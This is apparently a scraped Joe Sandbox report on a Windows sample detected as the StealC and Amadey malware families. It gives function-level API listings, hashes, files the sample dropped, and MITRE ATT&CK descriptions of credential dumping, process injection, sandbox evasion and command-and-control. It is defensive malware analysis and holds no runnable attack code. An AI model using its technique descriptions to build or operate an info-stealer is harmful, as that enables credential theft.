Part of subcall function 6C611110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C610936,00000001,00000040), ref: 6C611130
Part of subcall function 6C611110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C610936,00000001,00000040), ref: 6C611142
Part of subcall function 6C611110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C610936,00000001), ref: 6C611167

Strings

clock, xrefs: 6C610F20

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: fee8ce8de261af2d88e7d4ae8d4cd310c3cacbbc32239fb64d5fe5c632b6ebe8
Instruction ID: ce9527104198936bbf47e8a147292f77add485efed4f17a1fdb644e7a8dbcdfe
Opcode Fuzzy Hash: fee8ce8de261af2d88e7d4ae8d4cd310c3cacbbc32239fb64d5fe5c632b6ebe8
Instruction Fuzzy Hash: 22D0123160918455C511666F9C45B9AF6BCC7E327FF204836E20841D104F6450EAE26D

Function 6C680DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C680DF5
TlsGetValue.KERNEL32 ref: 6C680E2D
TlsGetValue.KERNEL32 ref: 6C680E58
TlsGetValue.KERNEL32 ref: 6C680E84

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 9cb02e71cd9430c895ebee71053c73ca0a8ff02cfaa0d516a78295cb96f115db
Instruction ID: 66e7e68dda1ed1c0c0cd2d268bfadddca12f6eb74b9b4a250d8952afb69df8ba
Opcode Fuzzy Hash: 9cb02e71cd9430c895ebee71053c73ca0a8ff02cfaa0d516a78295cb96f115db
Instruction Fuzzy Hash: 1731D470647784CBDB106F3CC58829A7BB4BF0A349F114A79D89887A21DB30C096CBB9

Function 6C680F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C622AF5,?,?,?,?,?,6C620A1B,00000000), ref: 6C680F1A
malloc.MOZGLUE(00000001), ref: 6C680F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C680F42
TlsGetValue.KERNEL32 ref: 6C680F5B

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 20a46436d8a74826df48fee85d6a14d414e174d049fdb6357052d2c611ef8bec
Instruction ID: 2aa675aa86b9e807d373d98c3cbd3fdadd4daebd0e3df3e130578686dbf7a5f0
Opcode Fuzzy Hash: 20a46436d8a74826df48fee85d6a14d414e174d049fdb6357052d2c611ef8bec
Instruction Fuzzy Hash: B80140B1E0329457E710173E9E085A27B6CEF4339AF014571ED1CC2A21D730C815C1F6

Function 6C631EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C631ECE
free.MOZGLUE(?), ref: 6C631EDF
free.MOZGLUE(?), ref: 6C631EEF
free.MOZGLUE(?), ref: 6C631EF5

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 677ed08c0950d6906eba2e3ad42883f2cd8395286ebfbb5c5288f269c4e3db9d
Instruction ID: 1bd088faa4903973159ad1fdad4e8a4b7aa92b533ad19a94a6e6e07a1924fcf4
Opcode Fuzzy Hash: 677ed08c0950d6906eba2e3ad42883f2cd8395286ebfbb5c5288f269c4e3db9d
Instruction Fuzzy Hash: 03F0E9B17001156BEB00EB65DC45D6773ACFF45296B051434EC1DC3A00D726F41187F5

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFCBKFHJ

C:\ProgramData\BFBGHDGCFHIDBGDGIIIEHIJDAF

C:\ProgramData\EHIJJDGDHDGDAKFIECFI

C:\ProgramData\FBFCGIDAKECGCBGDBAFI

C:\ProgramData\HJDHCFCB

C:\ProgramData\HJJJDAEGIDHCBFHJJJEG

C:\ProgramData\IEBAAFCAFCBKFHJJJKKFHIDAAK

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre